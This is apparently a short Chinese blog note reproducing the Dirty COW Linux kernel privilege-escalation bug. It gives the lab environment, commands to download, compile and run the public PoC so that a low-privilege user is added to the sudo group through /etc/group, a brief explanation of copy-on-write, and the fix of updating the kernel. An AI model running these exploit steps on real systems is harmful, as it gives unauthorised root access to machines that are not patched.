­

臟牛漏洞復現

  • 2019 年 10 月 7 日
  • 筆記

該漏洞是 Linux 內核的記憶體子系統在處理寫時拷貝(Copy-on-Write)時存在條件競爭漏洞, 導致可以破壞私有隻讀記憶體映射。黑客可以在獲取低許可權的的本地用戶後,利用此漏洞獲取 其他只讀記憶體映射的寫許可權,進一步獲取 root 許可權。

0X1 環境搭建

環境:Ubuntu-14.04.4-desktop-amd64.iso

利用條件:Linux kernel >= 2.6.22

0X2 漏洞復現

adduser test/123456

su test

id

下載poc:

wget https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c

編譯:

gcc -pthread dirtyc0w.c -o dirtyc0w

./dirtyc0w /etc/group "$(sed'/(sudo*)/ s/$/,test/' /etc/group)"

exit

打開另一個終端查看test賬戶的組資訊:

即可完成提權工作!在諸多安全攻防環境中,該漏洞被作為提權的漏洞可能性非常大。

0X3 漏洞成因

Linux寫時拷貝技術(copy-on-write)

在Linux系統中,fork()會產生一個和父進程完全相同的子進程,但子進程在此後多會exec系統調用,出於效率考慮,Linux系統中引入了「寫時複製」技術,也就是只有進程空間的各段的內容要發生變化時,才會將父進程的內容複製一份給子進程。

0x4 修復方法

更新系統內核版本